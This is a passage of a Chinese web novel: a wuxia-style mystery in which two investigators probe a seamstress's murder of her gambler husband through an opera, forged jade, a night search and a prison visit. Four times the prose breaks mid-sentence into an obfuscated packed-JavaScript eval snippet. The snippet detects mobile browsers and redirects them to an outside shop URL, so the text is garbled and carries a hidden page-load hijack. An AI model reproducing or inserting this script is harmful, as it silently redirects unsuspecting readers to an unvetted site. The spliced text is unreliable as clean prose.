岑立雪脚步一顿。张谦文见状，哈哈大笑：“瞧你，男人嘛，要得就是个模样。好看便多看两眼，不好看丢开手就是了。寻个伴儿带在身边，赏心悦目是顶要紧的。” “哪里像王盟一身横肉，脸黑如锅底。白天我杀猪宰牛好不辛苦，夜里吹了灯，又抱上他这块门板，真是我张谦文命里一劫！” 岑立雪被她逗笑：“捕头听见这话，怕是要来六出嚎啕买醉了。” “他敢！” 谈笑间，二人已穿过几重回廊。前头水榭临池，丝竹隐约，易枝春候在榭外，见她们来了，拱手施一礼：“张掌柜，惊寒。” 他换了身竹青长衫，玉簪束发，清雅温文。张谦文眼前一亮，上上下下打量他一番，忽而凑到岑立雪耳边：“妹子，好眼光。” 易枝春听得分明，耳根一红，垂了眼睫。岑立雪瞥见，心里暗笑，面上却从容道：“平洲兄，劳你久候了。” “无妨，”易枝春侧身引路，“请。” 水榭临池，其间浮萍点点，锦鲤摆尾悠然。伶人在榭中候着，见主客均已落座，便甩了水袖，乐工亦抱琴一礼，丝竹愈盛。 先是一段琵琶淙淙，如珠落玉盘。继而有竹笛清越，伶人从着笛声启唇，唱词俚俗也婉转，将那绣楼枯骨案娓娓道来。 他唱听梭楼绣娘柳尚轻，日夜飞针走线，十指磨出血泡，所换银钱却被夫君扔进赌坊。唱负心赌鬼，满口谎言，酗酒归来拳脚相加。唱瓢泼雨夜，柳尚轻怒从心头起，抄起剪子，狠命戳烂了赌鬼头颅。 曲调至此一转，凄厉如鬼魅号哭。 伶人吊起嗓子，再唱柳尚轻连夜翻找医书，调制秘药，将赌鬼尸身浸入浴桶。不多日血肉化尽，只余一副森森白骨。 化尸秘药？岑立雪端起茶盏，抿了一口。茶水温热，却驱不散心头异样。她想起快蟹船里蚍蜉草，此物虽多用作驱蠹，可若辅以其他药材…… “金线难缝薄幸骨，琼阁空藏负心骸——” “药池浸得鸳鸯散，惟余绣娘伴鬼眠——” 张谦文听得入神，手里瓜子都忘了嗑。她喃喃道：“这柳尚轻，确是个奇女子。若不是下了狱，我倒真想同她认个姐妹。” 琵琶声陡然转急，如骤雨砸瓦。伶人挺直了脊背，深吸一口气：“蟊贼破门惊煞鬼，白骨森森坐妆台——” “怀中紧抱半边玉，莹莹生辉似泪催——” “道是情深旧时物，谁料成劫成冤债！” 半边玉！岑立雪目光掠过茶盏边沿，瞥向易枝春。他起先听得专注，而今似有所感，也抬眼望来。一切尽在不言中。 张谦文“哎哟”一声，拍案叫绝：“好，不愧是云韶府，唱得好，戏文亦是动人！” 等不来搭话，她狐疑瞧着岑易二人：“你俩互相瞅着做什么？怎的，可是有我不曾听出的关窍？” “非也，姐姐且宽心。” 乐工敛了琴，伶人躬身辞谢。易枝春自袖中取出碎银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921107|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赏了，温声道：“辛苦诸位，下去歇着罢。” “谢大家。”众人悉数退去，水榭里一时静谧。 张谦文心神还拴在戏文上，咂着嘴道：“嗐，这柳姑娘也是，杀便杀了，留着骨头玉石做什么，不是自找麻烦么？” 岑立雪放下茶盏，杯底磕上石桌，似一记闷钟。她状似随意发问：“姐姐觉得，那半边玉是何物？” “还能是什么，定情信物咯，”张谦文不假思索，“赌鬼从前送了柳姑娘这一块玉，如今她恨极了他，宰罢人还要掰了玉塞他怀里。这叫一刀两断，互不相欠！” 易枝春忽然开口：“张掌柜高见。然柳尚轻恨极了赌鬼，昔日定情信物想必尤其碍眼，她为何不将玉砸碎丢了？” 张谦文一愣：“这……” “或许，”岑立雪接话，“那玉本就不是赌鬼的。” 春日微风拂来，掀起池里波澜。张谦文看看岑立雪，又瞧瞧易枝春，一拍大腿：“你们这些识文断字的，心思就是弯弯绕绕。” “好了好了，管它谁的玉呢。左右案子已结，绣娘蟊贼半个‘冤’字都未曾出口，咱们呀，听个乐子也就得了。” 她站起身伸个懒腰，拱手致谢：“今儿这出戏听得痛快，惊寒妹子，多谢了。我还有活儿，先走一步。下回领着易大家上家里去，我叫王盟下厨，炖上一锅红烧蹄髈！” “许久未尝捕头手艺了，”岑立雪失笑，“一定。” 送走张谦文，夕阳西斜，将池水染作一片暖金。戏文里泣血哭诉消散，唯有池鱼喋喋食萍，啵啜声恰似落雨。 柳尚轻抄剪杀夫之时，耳畔或也这般响动频仍……岑立雪猜想，彼时柳姑娘心头盈着的，或不是错付歹人的悔恨，而是手刃渣滓的快慰。 易枝春不欲扰她思绪，执壶续了茶，才轻声问：“惊寒以为如何？” “平洲兄，劳你走动府衙，”岑立雪眸光清冽，如剑锋新拭，“那半边玉，从人从鬼，你我一验便知。” 16.绣楼枯骨（三） 巷口炸饼摊贩起了个大早，油锅里噼里啪啦，惊得鸟雀扑棱棱飞身，剪了泮安青白的天。 王盟才买下热腾腾的饼子，便搁街上瞧见了岑立雪，忙招呼道：“岑掌柜！” “云韶府新戏当真是良药，昨个儿回去，三彩便眉目舒展，连梦里也哼着调子，”王盟一扫颓态，朝她拱手，“掌柜救我一命，往后有事，尽管开口。” 岑立雪闻言颔首，也是巧了，才瞌睡便有人递枕头。她就着饼子香气还了礼，讲起易枝春欲往库房，又被刚正管事拦在外头一事。 “管事只认手令不认人，然薛大人忙于政务，易大家不欲搅扰。不知捕头可否行个方便？” “有何不可。大家本就深得薛大人倚重，我只当他例行公干，旁的事一概不知。”王盟爽快应了。 “多谢捕头。” “掌柜客气。上回你我在府衙碰面，想来也并非巧合，”王盟一路走，一路絮叨，“易大家从前多是独行查证，连衙役都鲜少搅扰，如今缘何喊上了掌柜？” 不待岑立雪应声，王盟挤眉弄眼道：“莫不是因着库房阴森，证物又沾了人命，他心里发怵，才邀了掌柜一道，以壮胆量？” 岑立雪朗笑：“捕头明察秋毫。” 打趣间，府衙朱门近在眼前。东面停了辆青篷，是易枝春早早候在此处。三人寒暄罢，王盟便利落领了人进去，沿途并无衙役多言。 证物库房是栋独院，青砖灰瓦，门窗紧闭。管事的是个瘦小老翁，他见王盟言之凿凿，犹豫片刻，终究为他们敞了门。 库内昏沉，只高处一扇小窗漏进天光，照得浮尘粒粒分明。霉味呛得人喉头发紧，岑立雪环顾一遭，见四壁皆是木架，层叠堆着箱笼布袋。 王盟指了架上木匣：“绣楼案证物在此。” 岑立雪不欲与之多言，先行揭了匣盖。其间静卧半块羊脂白玉，莹润剔透。她定了定神，转而取出窜天蛇那半边玉佩，燃起案上烛火，将两块玉凑得近了些。 纹路蜿蜒相接，王盟抻着脖子瞧：“奇了，另半块怎会在掌柜手里？” 岑立雪不答，唤来易枝春：“此玉沁色板滞，像是烟熏火燎，蓄意做旧。” 易枝春细细瞧过绣楼玉，轻声接道：“雕工也少了圆融气，并非一人手艺。” 二玉相合，乍看浑然一体，细辨之下，匣里这块终究差了意思。岑立雪抚了抚云水纹，将赝玉放回木匣，转向王盟：“捕头，库房平日规矩可严密？自绣楼案发，证物过了几手？” “甚严，管事做派您亲眼所见，玉是我手下兄弟带回，匣子亦由我亲手封上。莫非此玉原是掌柜所有，由那蟊贼……” “非也，”易枝春接过王盟话头，扯谎道，“惊寒手里乃是旧案证物，如今得验，确与此案无干，易某不日便禀明知府。有劳捕头陪我二人跑这一趟。” 王盟听得云里雾里，叹了口气：“举手之劳，做什么频频道谢。柳尚轻自认下罪便一言不发，方才又见半边玉，我心才悬了起来。” “幸而同绣楼案无干，若是出了岔子，往后便有的忙了。” * 青篷辘辘碾过长街，岑立雪掀开车帘一角，望着外头熙攘街景，沉声道：“玉是假的，可现身绣楼，必有缘由。今夜，我需往绣楼探个虚实。” “我与你同去，”易枝春见岑立雪不应，又添了句，“我身手是不如惊寒利落，好在望风辨迹尚可。” 这话讲得和缓，岑立雪思及快蟹船上种种，易枝春虽未帮上大忙，所为却也妥帖谨慎，便点了点头：“多双眼睛也好。” 话音未落，青篷蓦地一颠，似是车轮碾过道中深洼。事发仓促，岑立雪内力流转不及，身形一倾，前额便撞上了易枝春面颊。 这一碰柔软温热，同疼痛全然无干，可岑立雪偏偏头晕目眩。待得视野恢复清明，易枝春衣襟纹样已近在眼前，周身檀香亦悉数入了她鼻息。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938409|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他原来这样瘦削。不知怎的，岑立雪心头忽地动了动。她想，易枝春，像是无锋山上一棵羸弱的树。至于那树生了怎样的枝与叶，岑立雪已经记不清了。 分明是岑立雪倾来，可乱了方寸的是易枝春。 隔着衣袖，易枝春扶上岑立雪肘侧，指尖颤得厉害。若是落在旁人眼里，恐怕只当他思念尤甚，匆促将恋慕之人拥在怀里，喜不自胜。 可身为局中人，岑立雪自然清楚易枝春颇为守礼……甚至称得上羞涩。他掌心力道很轻，肩背却绷紧了，像一张骤然拉满又极力克制的弓。 她是剑客，本就不该张弓搭箭的。岑立雪这么说给自己，佯装从未听见易枝春心如擂鼓。 岑立雪一撑青篷厢壁，稳住身形，向后撤了去，二人视线便得以磕在一处。易枝春耳根薄红蔓至脖颈，见岑立雪望过来，他飞快垂了眼睫，搭在她肘侧的手也收回膝上。 唇齿开合间，易枝春半晌吐不出一个整句，只木讷唤了声：“惊寒……” 车夫的问候自前头传来：“大家，掌柜，可还安好？” “无事，往前走罢。”岑立雪回罢话，也不知自己动了怎样的念头，竟抬起手，拂了拂易枝春微乱的鬓发。 原来不是枝叶，也不是弓弦。岑立雪如是琢磨。 “何时……动身？”易枝春嗓音发涩，仍旧垂着眼，仿佛膝头躺着什么紧要物什。 心头波澜被易枝春故作镇定的模样抚平，岑立雪清了清嗓子，生出些莫名其妙的快慰，语调倒是如常：“子时。” “绣楼已封，纵然看守懈怠，你我亦须改头换面，近了再看机变。” “说的是，”易枝春温声应道，“家……城南院落里还有些易容膏泥，回去我便取来。” “劳烦平洲兄。” 方才片刻逾矩，似随着车轮碾入尘泥。岑立雪要揭过这一页，易枝春便也跟着忘记，种种思绪，都轻飘飘落入窗外泮安光景里。 17.绣楼枯骨（四） 子时初刻，泮安酣眠。 两道身影自云韶府后巷掠出，皆着灰扑扑短打，乍看同杂役并无两样。岑立雪在前，悄无声息。易枝春紧随其后，倒也算步履轻捷。 听梭楼昔日琳琅，此刻皆掩进了枯骨案里。月光泠泠，看守衙役靠着墙根打盹，岑立雪静候片刻，见他并无醒转态势，才挥了手，示意易枝春跟上。 待二人绕至楼后，岑立雪足尖轻点，翻上墙头，又回身搭上易枝春手腕，牵了他一跃。足底落地声响几不可察，只衣袂簌簌。 后院亦贴了封条，好在二楼窗子虚掩。岑立雪仰头看了看，便向易枝春递了个眼神。易枝春知情知趣退开两步，为她腾出起势空余。 岑立雪提气纵身，指尖勾住窗沿，腰腹一拧，便翻了进去。旋即亮了软剑，朝外头递去剑柄，引着易枝春手攀窗棂，将他也渡了进来。 屋内漆黑，唯有月光漏来一线，勉强照出陈设轮廓。霉气比之白日库房更为浓郁，沉甸甸压上喉头，岑立雪面不改色，只燃了火折子，虚拢着光亮，细细打量。 墙边架着绸缎，一幅《莲池鸳鸯图》尚未完活，丝线彩艳，想是戏文所唱“药池浸得鸳鸯散”了。地上足迹凌乱，一直延往阁楼。见其多出自男子，岑立雪皱起眉，心说王盟手下人办事实在毛躁。 “此前枯骨便是在阁楼上。”易枝春低声道。 岑立雪颔首，率先攀上木梯，落脚极轻。易枝春亦步步谨慎。 阁楼极其凌乱，妆台倾倒，铜镜碎裂，床榻亦是狼藉。屋子中央一片深褐，或曾遭药液浸渍。易枝春蹲下身，拈了地缝里残渣，凑近细嗅：“浓醋，石灰。” “还掺了腐卤草，磐里胆。此二物相合，蚀性绝佳，却也剧毒。寻常药铺断不敢售。” 自云韶府初见，易枝春轻易嗅出一味宁心草，岑立雪便知晓他颇通药理，是以并未疑其所言。她将火折子交予易枝春持着，即刻在阁楼这方狭仄天地里，一寸寸摸索起来。 易枝春举着那点微弱火光，静静跟在她身侧。光晕随着岑立雪挪移良久，终于，她停了脚步，手按进妆台屉底，不多时，指尖便触及一细微凹凸。 “咔。”屉内滑开道寸宽暗隙，此暗格机括精巧，里头并无金银书信，只躺着些簿册。岑立雪取出最上头一册，凑近了火光。 是册手抄医书，字透韧劲，颇有风骨。岑立雪一目十行，终在一页停住。其上所绘，一者茎深紫，叶如锯齿，一者形如石胆，色褐多孔。 底下以小楷密密记了药性，同易枝春所言相差无几。岑立雪与他对视一眼，合上了册子。火光映照下，二人眸色一般无二。 市井传闻药浴化尸乃是绣娘歪打正着，如今一瞧，柳尚轻哪里只会穿针引线？ 远处更鼓沉沉敲响，岑立雪将册子原样搁回暗格。待一应物什复位如初，岑易二人相携翻出窗外，融入沉沉夜色。 绣楼重归死寂，唯余青绸上再难成双的鸳鸯，泛起凄艳丝光。 * 卯末，晨雾将散未散，贩夫走卒吆喝才起，岑立雪便描画好另一副眉眼。 她扎紧头巾，再套件半旧短褂。腰间系条帕子，扮作个赶市妇人。易枝春一身青布直裰，肩搭褡裢，二人隔着三五步，汇入街市，由人流推着，往听梭楼去。 昨夜昏蒙，岑立雪并未将周遭瞧个分明。这听梭楼落在织染巷，常年浮着涩味。待越过了晾晒彩绸，也就听得封条于晨风里瑟索作响。 她在巷口早点摊子驻足，要了碗热汤，顺势同摊主搭话：“阿婆，听说前头绣楼里出了桩骇人事？” 摊主舀汤的手抖了抖，抬眼瞅一瞅巷尾，才颤颤巍巍回话：“可是呢。绣娘宰了汉子，还将骨头藏在阁楼上。有些日子了。” “杀夫藏骨，是个有胆色的，此绣娘平日做派便十足泼辣？” “哪里话，”摊主推来汤碗，叹了口气，“柳娘子从前话不多，手巧得很，总爱给街坊搭把手，见着生人了，也是好声好气笑模样。” 岑立雪从容以对：“逼老实人抄了剪子，料她夫君死得不冤。” “谁说不是，也不知柳娘子看上他什么。” “或也有讲不出口的苦衷罢。” “兴许。不是我瞎说，街坊四邻，没有人不念柳娘子好的。有回孙家姑娘爬树摔了腿，疼得脸煞白。柳娘子路过，蹲下来摸了摸骨头，转身就去墙根扯了草叶子。” “放嘴里嚼烂了，给她敷上，”摊主比划着，“您猜怎么着，没几日，那丫头就下地了！” “性子好，本事大，”岑立雪颔首，“怎的沾上了那样一个赌鬼？” “嗐，知人知面不知心。郑三早先是做小买卖的，人看着本分。谁知成了亲，不过半年便频频出入赌坊，柳娘子并非泮安人士，没得娘家撑腰，郑三将钱输得精光不说，回来竟还恶言相向！” “老婆子说句糙话，我若是柳娘子，只怕都忍不了这样久。” 不是泮安人，为何如此匆促就成了亲？岑立雪心头疑虑如点墨入水，缓缓洇开。她谢过摊主，三两口灌下汤，朝一旁茶摊走去。 茶摊上，易枝春面前搁着个凉透的碗，身旁青年男子喋喋不休。 此人嗓门本就洪亮，见又添了个看客，兴致愈发足，接着道：“柳娘子成了亲，同外头来往便少了，平日难得下楼。” “郑三死前个把月，有人听见他们屋里传出些古怪动静。哎，说不准是两口子干架，不提也罢。” 岑立雪又闲扯几句，待男子讲得口干舌燥，便与易枝春一并道了告辞。 日头升高，岑立雪思绪不停，半晌才道：“郑三死得不怨。柳尚轻胆识见地如此，可惜了。” “是，”易枝春面庞落了细碎光影，听岑立雪讲了柳尚轻治疗小儿跌打一事，眉目间略显凝重，“惊寒，柳姑娘通医理，又配得出那等化尸之药……” 岑立雪心头一动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952026|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“南氏？” 易枝春回首望一望死寂听梭楼，目光仿佛要越过封条，直抵其中掩藏的过往。许久，才缓缓道：“南氏故旧学徒散落各地，当年清查或有遗漏。若她当真与之相干，又认得罗七爷的玉佩……” 他收了声，岑立雪偏过头，望见易枝春眼底怅惘犹疑。他许是有所觉察，轻轻对上她视线，匀出个格外苦涩的笑。 “惊寒，”他郑重而富于歉意，“许多事，我亦在查证之中，未能尽言。然此柳姑娘若牵连南氏遗绪，或可为你我指点迷津。” 岑立雪干脆利落：“也是该同她会一面了。” 货郎吆喝，孩童嬉闹，车马喧嚣，泮安烟火气如浪如潮。岑立雪立在当中，心如明镜，倘若她要问些什么，易枝春自当如实相告，可他眼底眉梢缀了隐痛，倒令她不忍心刨根究底。 也罢，谁还不是揣了秘密的人。盟友间未必要交付底牌，展露些不那么磊落的情绪，已称得上坦诚。 “平洲兄，”见易枝春迟迟不应声，岑立雪有意调侃，“不知以立雪面子，可否够得上陪你探一回监？” 易枝春弯了弯眼眉，就此驱散方才沉郁：“自然。若惊寒乐意，十回又有何妨。” “若真走上十回，你我倒同王盟成了一路人，”岑立雪失笑，“还望一击得中，尽早觅得真相。” * 同易枝春作别，岑立雪回了六出。客稀人懒之际，她也不欲敲打伙计，理过账，慢悠悠拭上青瓷酒盅，忽闻堂外一阵骚动。 岑立雪抬眼，便见易枝春撩起竹帘，不疾不徐迈了进来。 他卸了易容，着一身素净青衫，长发束得齐整，眉目间带着些微倦色。烈日映在后头，将其衬得清癯挺拔。 堂内霎时一静。擦桌伙计停了手，零星打盹的酒客醒了神，揉着眼往门口瞅，就连后厨布帘，也掀开了一道缝。 岑立雪将手里软布青盅往案上一搁，面色如常：“平洲兄。” “惊寒，”易枝春望进她眼底，倦意也散去些，温润笑道，“品了许久霜三尺，倒也想尝尝六出菜色。” 二人来往自然，却似投石入潭。有酒客轻轻“啧”了一声，随即便是窃窃私语，岑立雪耳力极佳，隐约听得“果真来了”云云。 她仿若未闻，只绕至柜前：“二楼雅间清静，平洲兄若不嫌简陋，可移步叙话。” “叨扰了。”易枝春行罢礼，随她往楼上去。 途经堂中方桌，埋头擦洗的韦安翎直起身。小姑娘手里抹布攥得死紧，眼刀在易枝春身上剐了一圈。 易枝春步履稍停，侧首看向韦安翎。他目光平和，见她神色不悦，也还是微微颔首，递上个浅淡的笑。韦安翎一怔，面上戒备跟着僵了僵。 岑立雪抬步上楼，此刻回头，正见二人对质，遂笑着唤韦安翎：“翎儿，我有些饿了。取一坛霜三尺，再切碟酱牛肉罢。” “就来。”韦安翎清脆应了。 18.绣楼枯骨（五） 待二人上了楼，堂中声浪嗡然掀起。 “瞧瞧，我说什么来着！”有熟客一拍桌案，震得碗碟叮当，“易大家通身气派，跟岑掌柜并在一处，不就是画里走下来的神仙眷侣？” “往日只在云韶府外头远远瞧个影子，近看更是了不得。方才见他对翎丫头不摆半点架子，是个守礼谦和的。” 后厨帘子一掀，掌勺妇人探出半张脸：“我早说了，掌柜这些日子总往云韶府跑，哪是为听曲儿？分明是会知音！” 闲言碎语就着老旧木梯攀上来，听得几分，漏得几分。岑立雪推开窗子，暮春巷风裹着炊烟气穿堂而过，卷走了楼板下声声嘈杂。 易枝春拂衣落座，袖摆扫过粗木桌沿，未沾局促。岑立雪亦是开门见山：“如何？” “薛大人准了。”易枝春未提周旋，只自袖中取出一枚铜符搁在桌上。 符身冷润，云纹盘绕。清晨才议定，午后手令便至，岑立雪心知，易枝春于薛启岩心头分量，恐怕不止知音。 她不再深究，只道：“有劳。” 木梯咚咚作响，韦安翎端着托盘上来，将壶盏酱肉往桌上一搁，力道不轻，转身便走。 “翎儿，”岑立雪温声唤住她，“这位是云韶府易大家，日后见了，依礼招呼便是。” 韦安翎回过身，草草点头：“易大家。” “韦姑娘不必客气，”易枝春起身郑重还了一礼，“常听惊寒提起，酒肆里外多赖你费心。今日仓促登门，扰了韦姑娘清净。” “您言重了。”韦安翎几番试探，都未见易枝春失态，面色再冷不起来，索性偷眼去瞧岑立雪。见她唇畔含笑，并无不豫，肩膀一松便告了退，下楼脚步也轻快不少。 岑立雪斟上一杯霜三尺，眼底漾开些许玩味：“平洲兄笼络人心的本事，立雪叹服。” “肺腑之言罢了，”易枝春摇头，笑意浅淡，“那孩子心性质朴，一片赤诚都在你身上。旁人待你一分好，她便记十分。这般心性，世间难得。” 岑立雪未再接话，抿了口酒。相处日久，她自然比旁人清楚韦安翎心性，亦早有心收其为徒。只是追凶一路多有坎坷，岑立雪担忧将这孩子也卷进风波里，此事便搁置至今。 霜三尺凛冽，压下岑立雪心头郁意，一旁易枝春忽而转了话锋：“柳尚轻处，未必能如你我所愿。” “杀夫化尸便可见其心志如铁。入狱至今，她未吐一字，不似认命，许是为遮掩旁的隐秘。” 岑立雪若有所思：“或许，她认得那半边玉。” 岑易二人目光一碰，俱看清了对方眼底决意。羊脂白玉不能言语，可若她肯开口，想必于探求真相大有助益。 “走罢。”岑立雪起身。 下楼之际，堂中酒客目光齐刷刷追来，却又在触及二人平静神色时讪讪移开。 韦安翎立于柜后，见易枝春细心为岑立雪打起竹帘，又侧身让行，眼底波澜，终是暂且平息。 * 监牢外，守门衙役验过知府铜符，行礼放行。狱廊深长，晦暗潮湿，壁上油灯昏黄，引路狱卒佝偻着背，脚步拖沓，锁匙叮咣不歇。 岑立雪落后易枝春半步，衣袖间或擦碰。她气息平稳，目光如刃，麻木窥探之人对上她冷然视线，皆被削得缩回了黑暗。 眼看抵达柳尚轻牢房，一阵仓促脚步自深处撞来，慌得失了章法。是典狱官踉跄奔出，险些与引路狱卒撞作一团。 “不好！甲字七号……那蟊贼没了！” 听得此言，岑立雪足跟立定，易枝春眉峰一蹙：“可否讲个清楚？” “方才交班，”典狱官面色惨白，额上冷汗汇珠，滚进衣领，“见他趴在草铺上，一动不动。我撬开嘴一看……舌根咬断了大半，血沫子糊了满地。” 狱廊一时死寂，岑立雪平静开口：“甲字七号在何处？带路。” 甲字七号牢房狭小，污秽之气混杂血腥扑面而来。草席上蟊贼躯体尚带余温，唇畔黑红一片，已无生机。易枝春走上前，不顾污秽，迅捷验了尸首眼睑口唇。 “并非毒发，确系咬舌自尽，”他起身沉声道，“时机未免太过凑巧。” 岑立雪立于易枝春身侧，见草席凌乱，却并无挣扎痕迹，墙面污垢斑驳，血沫喷溅只在尸首面下。 典狱官称交班不过半盏茶功夫，这蟊贼似是算准了时辰，趁着无人注视，决然赴死。 半盏茶。岑立雪垂了眼睫，这点辰光，将将够人走完一条晦暗狱廊，是有谁贴近了囚槛，递进道催命符来？ 沉默如雾，再度吞没了这方窄笼。石壁渗着水珠，滴滴砸上草席，然浇不出半句答语。 待狱卒引来仵作，岑易二人便出了甲字七号。柳尚轻牢房缩在狱廊最底，湿气沉得能拧出水来。 墙上铁窗不过巴掌大，所漏进天光稀薄，勉强勾出个人形。柳尚轻坐在墙角草席上，枯发在脑后挽得一丝不苟，脊背笔直，像是棵遭雷劈砍也不肯倒下的松木。 脚步碾过地上水洼，易枝春停在囚槛外，轻声唤她：“柳姑娘。” 柳尚轻一言不发，仿佛魂魄已被谁抽离了这具枯槁皮囊。岑立雪目力过人，肃然望过去，轻易瞧得柳尚轻袖口磨毛，一双手布满细密伤痕。她是绣娘不假，可若是日子过得去，便不该有这样一双手。 “郑三嗜赌，”岑立雪说给柳尚轻，“死前那月，还偷了你银簪玉镯去抵债。你当夜在院里，就着月光磨了半宿剪刀。不是纤纤绣剪，而是你吃饭的家伙。” 岑立雪向前半步，影子也着靠过去，直遮上牢狱里一张灰败面庞：“我知郑三做派，一刀了结自然便宜了他，是以不问你为何化尸。只是，柳姑娘，你有医术绣功在身，又与人亲厚，广结善缘。” “天下之大，何处不为家，柳姑娘，你当初为何嫁了他？”枯寂的眼珠终于挪了挪，柳尚轻瞥向岑立雪，眸子里无悲无喜，却仿佛压着淬过火的物什。 岑立雪见火候到了，自怀中取出那半块羊脂玉佩，握在掌心：“衙役道，此乃郑三遗物。可赌鬼连妻子簪镯都夺尽，山穷水尽之时，怎还会留着它？” “是他早知此物不过俗赝，当也当不得高价？”玉身由岑立雪指尖托出，置于铁窗一线昏光之下。莹白流转，宛若活物。 柳尚轻心头掀起惊涛骇浪，她踉踉跄跄扑到岑立雪面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962753|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前，干瘦手指死死抠进囚槛，指甲崩裂也浑然不觉。嘶哑嗓音自齿缝里挤出来，待看清半边玉纹样，柳尚轻瞳仁蓦地亮了亮，整个人似也醒转过来：“你……是她什么人？” “她？”岑立雪循循善诱，“这玉的主人，是不是？” 胸膛剧烈起伏之际，柳尚轻目光如有实质，几乎攥碎了那玉，倏尔又抬眼扫视岑易二人面庞，许是辨认，许有挣扎。有什么在她眼底明明灭灭，岑立雪静默地等待着，可柳尚轻终究松了手，颓然退后，跌坐回草席。 脊背复又绷紧，面容空寂，比之先前还要冷上几分。任岑立雪如何追问，柳尚轻也只垂首不语，连肩头颤抖也簌簌弱下去，生怕惹了牢狱尘埃。 * 迈出牢狱，午后日光泼面而来，岑立雪眯了眯眼，肺腑间那股阴湿浊气迟迟不散。 “柳姑娘认得这玉，”易枝春沉吟，“可蟊贼一死，知晓当晚情形者，只余她一人。如今她闭口不言，不是不敢，而是不必，秘密随着那贼人一道烂在土里，反倒最是安然。” “活人不肯说，便去问死人，”岑立雪眸光冷冽，“郑三皮肉虽化，骨头总还在。” 易枝春闻言，即刻寻了衙役，去查郑三尸骨下落。消息来得极快，却令人心沉。 郑家祖籍在泮安城外三十里桃源庄，绣楼案一结，郑三遗骨便被族人依循“入土为安”规矩，匆匆下葬进了祖坟。 衙役捋一捋胡须如实相告，却不明白岑掌柜易大家为何面沉如水：“家中出了这般丑事，早些埋了，早些干净。也怨不得郑家人无情。” 别过衙役，街上正是热闹时候。挑担货郎歇在槐荫下喝大碗茶，易枝春走在岑立雪身侧，青衫拂过道旁蔓生野草，有马蹄嘚嘚踏过石板，扬起尘埃。 卖蒸糕的摊子腾起白茫茫热气，甜腻米香丝丝缕缕飘来。岑立雪在摊前停了步，摸出铜钱要了两块糕，一块递给易枝春，余下的都塞进嘴里，腮帮子一鼓一鼓地嚼。 “平洲兄，”咽下蒸糕，岑立雪轻松道，“可敢随我走一趟桃源庄，向那郑三借几根骨头来瞧瞧？” 易枝春望着她，日光将屋瓦晒得虚白，可淌到岑立雪肩头，却偏偏变了脾性。只温驯匀了浅金，沿着她描摹，连飞扬鬓发，都不忘逐一拢起来。 他想，日头也是懂得拣选，偏爱照拂勇往之人。半晌不得应，岑立雪狐疑瞧着他，易枝春浅浅笑了笑。 “惊寒所向，自当相随，”说着，易枝春将手里蒸糕递了回去，稳稳搁进岑立雪掌心，“夜里赶远路，多吃些。” 岑立雪并未推辞，接过来便送进嘴里。甜意在舌尖化开，也是奇了，米糕分明一锅蒸出来，她却觉得这一块添了些滋味。 个中缘由，岑立雪或有猜测，却也无心理清。吃饱喝足正好赶路，眼下最要紧是桃源庄刨坟差事：“平洲兄且去备好一路所需物什，侯在云韶府，我晚些时候再去寻你。” 易枝春颔首，目送岑立雪提了步子汇入人流。先前裹蒸糕的油纸还在他手里，捏得有些皱了，易枝春怔了怔，终究捋平了它，收回袖中。 他立在街上，直至再望不见岑立雪身影，才慢慢往城西去。 19.绣楼枯骨（六） 月光由高墙裁作几绺，泠泠铺上云韶府檐瓦。易枝春换了身靛青布衫，肩搭包袱，独个候在地户。 遥遥望见清癯身影立在风里，衣摆微微鼓荡，岑立雪忽觉易枝春比平素还要合眼些。 此去桃源庄一路夜行，未可知碰上什么，稳妥起见，岑立雪还是佩上了无锋剑。剑鞘乌沉，吞口处并无纹饰，易枝春目光一沾即走，并未发问，仿似全无疑虑。 “平洲兄，走罢。”岑立雪朝他挥一挥手，二人一前一后，没入沉眠街巷。 泮安夜巡较之白日松懈许多。出了城门，天地骤然开阔。官道灰白，长蛇般蜿蜒游向远山。夜风没了高墙阻隔，扑面而来，满是野花芬芳。 